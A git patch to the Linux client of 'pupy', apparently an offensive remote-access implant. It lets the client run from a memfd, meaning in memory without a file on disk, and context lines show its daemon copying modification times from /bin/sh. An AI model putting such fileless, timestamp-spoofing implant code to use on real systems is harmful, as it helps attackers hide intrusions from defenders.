From 722369239cd1692ca74b7a178096be970f642d19 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 7 Mar 2017 23:22:25 +0200 Subject: [PATCH] Handle case when pupy starts from memfd --- client/sources-linux/daemonize.c | 5 +++++ client/sources-linux/memfd.h | 1 + client/sources-linux/pupy_load.c | 4 ++++ 3 files changed, 10 insertions(+) diff --git a/client/sources-linux/daemonize.c b/client/sources-linux/daemonize.c index 67afbc82..70ec5020 100644 --- a/client/sources-linux/daemonize.c +++ b/client/sources-linux/daemonize.c @@ -11,6 +11,7 @@ #include #include #include +#include "memfd.h" #ifndef DEFAULT_MTIME_FROM #define DEFAULT_MTIME_FROM "/bin/sh" @@ -106,6 +107,10 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) { int fd = -1; + if (strstr(self, "/memfd")) { + snprintf(self, sizeof(self), "/proc/%d/exe", getpid()); + } + struct stat _stat = {}; stat(mtime_from, &_stat); diff --git a/client/sources-linux/memfd.h b/client/sources-linux/memfd.h index 8665062c..a62cf847 100644 --- a/client/sources-linux/memfd.h +++ b/client/sources-linux/memfd.h @@ -4,6 +4,7 @@ #define _GNU_SOURCE #include #include +#include #define MFD_CLOEXEC 0x0001U #define MFD_ALLOW_SEALING 0x0002U diff --git a/client/sources-linux/pupy_load.c b/client/sources-linux/pupy_load.c index f3492d52..8d9d6758 100644 --- a/client/sources-linux/pupy_load.c +++ b/client/sources-linux/pupy_load.c @@ -108,6 +108,10 @@ uint32_t mainThread(int argc, char *argv[], bool so) { dprint("INVOCATION NAME: %s\n", program_invocation_name); if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) { + if (strstr(exe, "/memfd:")) { + snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid()); + } + Py_SetProgramName(exe); }